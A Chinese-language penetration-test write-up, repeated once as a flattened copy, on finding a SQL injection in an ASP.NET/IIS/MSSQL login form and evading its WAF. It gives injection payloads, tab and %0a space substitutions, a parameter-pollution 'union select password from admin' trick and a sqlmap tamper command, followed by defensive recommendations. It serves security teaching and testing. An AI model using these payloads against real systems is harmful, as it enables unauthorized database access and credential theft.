一次SQL注入与WAF绕过思路分享
字数 1325 2025-08-18 11:38:32

SQL注入与WAF绕过技术详解

一、环境识别与注入发现

1. 初始探测

  • 目标网站为ASP.NET架构,中间件为IIS
  • 测试表单页面时发现XSS和SQL注入可能性
  • 输入aaa'后返回错误信息:"字符串 'aaa'' 后的引号不完整。'aaa'' 附近有语法错误。"
  • 这表明:
    • 单引号被直接执行
    • 可能存在SQL注入漏洞

2. 数据库类型判断

  • ASP.NET + IIS环境通常使用MSSQL数据库
  • 验证方法:
    • 输入aaa' and user>0被WAF拦截
    • 输入aaa' and '1'='1同样被拦截
    • 使用注释测试:aaa' /*and @@version>0 and '1 '='1'*/--
      • 成功执行,返回"用户名不存在"
      • 确认支持--注释符(MSSQL或Oracle)
    • 进一步确认:
      • MSSQL支持;作为语句分隔符
      • Oracle不支持;分隔符

二、WAF绕过技术

1. HTTP参数污染(HPP)绕过

  • 原理:不同技术栈对重复参数处理方式不同
  • 示例:
    • 请求:/test.asp?id=union+select+password/*&id=*/from+admin
    • ASP.NET + IIS处理为:id=union+select+password/*,*/from+admin
    • 数据库执行时:id=union+select+password from+admin

2. 空格绕过技术

  • 发现WAF过滤关键字间的空格
  • 绕过方法:
    • 使用Tab键代替空格
    • 使用%0a(换行符)代替空格
    • 示例:
      • 原始被拦截语句:aaa'and '1'='1
      • 绕过语句:aaa'[tab]and[tab]'1'='1
      • 或:aaa'and%0a'1'='1

3. 注释符使用

  • MSSQL支持的注释方式:
    • -- 行尾注释
    • /* */ 块注释
  • 可结合使用注释符分割关键字绕过WAF

三、手工注入技术

1. 数据库版本探测

  • 成功绕过后的语句:
    • aaa'and%0a@@version>0--

2. 当前用户探测

  • 语句:
    • aaa'and user>--

四、自动化工具使用

sqlmap高级用法

  • 使用space2mssqlblank.py脚本绕过空格过滤
  • 命令示例:
    sqlmap.py -r 2.txt --risk 3 --dbms=mssql --random-agent -v 3 -p "txtUserNo" --tamper=space2mssqlblank.py
    
  • 参数说明:
    • -r:从文件读取HTTP请求
    • --risk 3:高风险级别
    • --dbms=mssql:指定数据库类型
    • --random-agent:随机User-Agent
    • -v 3:详细输出级别
    • -p:指定测试参数
    • --tamper:使用指定绕过脚本

五、防御建议

1. 针对SQL注入

  • 使用参数化查询
  • 实施最小权限原则
  • 对输入进行严格过滤和转义

2. 针对WAF绕过

  • 实现多层防御机制
  • 监控异常请求模式
  • 定期更新WAF规则
  • 对注释符和特殊字符进行过滤

六、总结

本案例展示了从发现SQL注入到绕过WAF的完整过程,关键点包括:

  1. 通过错误信息识别注入点
  2. 准确判断数据库类型
  3. 分析WAF过滤规则
  4. 使用替代字符和注释符绕过过滤
  5. 结合手工测试和自动化工具

掌握这些技术有助于安全测试人员更有效地发现和验证SQL注入漏洞,同时也帮助开发人员构建更安全的应用程序。

SQL注入与WAF绕过技术详解 一、环境识别与注入发现 1. 初始探测 目标网站为ASP.NET架构,中间件为IIS 测试表单页面时发现XSS和SQL注入可能性 输入 aaa' 后返回错误信息:"字符串 'aaa'' 后的引号不完整。'aaa'' 附近有语法错误。" 这表明: 单引号被直接执行 可能存在SQL注入漏洞 2. 数据库类型判断 ASP.NET + IIS环境通常使用MSSQL数据库 验证方法: 输入 aaa' and user>0 被WAF拦截 输入 aaa' and '1'='1 同样被拦截 使用注释测试: aaa' /*and @@version>0 and '1 '='1'*/-- 成功执行,返回"用户名不存在" 确认支持 -- 注释符(MSSQL或Oracle) 进一步确认: MSSQL支持 ; 作为语句分隔符 Oracle不支持 ; 分隔符 二、WAF绕过技术 1. HTTP参数污染(HPP)绕过 原理:不同技术栈对重复参数处理方式不同 示例: 请求: /test.asp?id=union+select+password/*&id=*/from+admin ASP.NET + IIS处理为: id=union+select+password/*,*/from+admin 数据库执行时: id=union+select+password from+admin 2. 空格绕过技术 发现WAF过滤关键字间的空格 绕过方法: 使用Tab键代替空格 使用 %0a (换行符)代替空格 示例: 原始被拦截语句: aaa'and '1'='1 绕过语句: aaa'[tab]and[tab]'1'='1 或: aaa'and%0a'1'='1 3. 注释符使用 MSSQL支持的注释方式: -- 行尾注释 /* */ 块注释 可结合使用注释符分割关键字绕过WAF 三、手工注入技术 1. 数据库版本探测 成功绕过后的语句: aaa'and%0a@@version>0-- 2. 当前用户探测 语句: aaa'and user>-- 四、自动化工具使用 sqlmap高级用法 使用 space2mssqlblank.py 脚本绕过空格过滤 命令示例: 参数说明: -r :从文件读取HTTP请求 --risk 3 :高风险级别 --dbms=mssql :指定数据库类型 --random-agent :随机User-Agent -v 3 :详细输出级别 -p :指定测试参数 --tamper :使用指定绕过脚本 五、防御建议 1. 针对SQL注入 使用参数化查询 实施最小权限原则 对输入进行严格过滤和转义 2. 针对WAF绕过 实现多层防御机制 监控异常请求模式 定期更新WAF规则 对注释符和特殊字符进行过滤 六、总结 本案例展示了从发现SQL注入到绕过WAF的完整过程,关键点包括: 通过错误信息识别注入点 准确判断数据库类型 分析WAF过滤规则 使用替代字符和注释符绕过过滤 结合手工测试和自动化工具 掌握这些技术有助于安全测试人员更有效地发现和验证SQL注入漏洞,同时也帮助开发人员构建更安全的应用程序。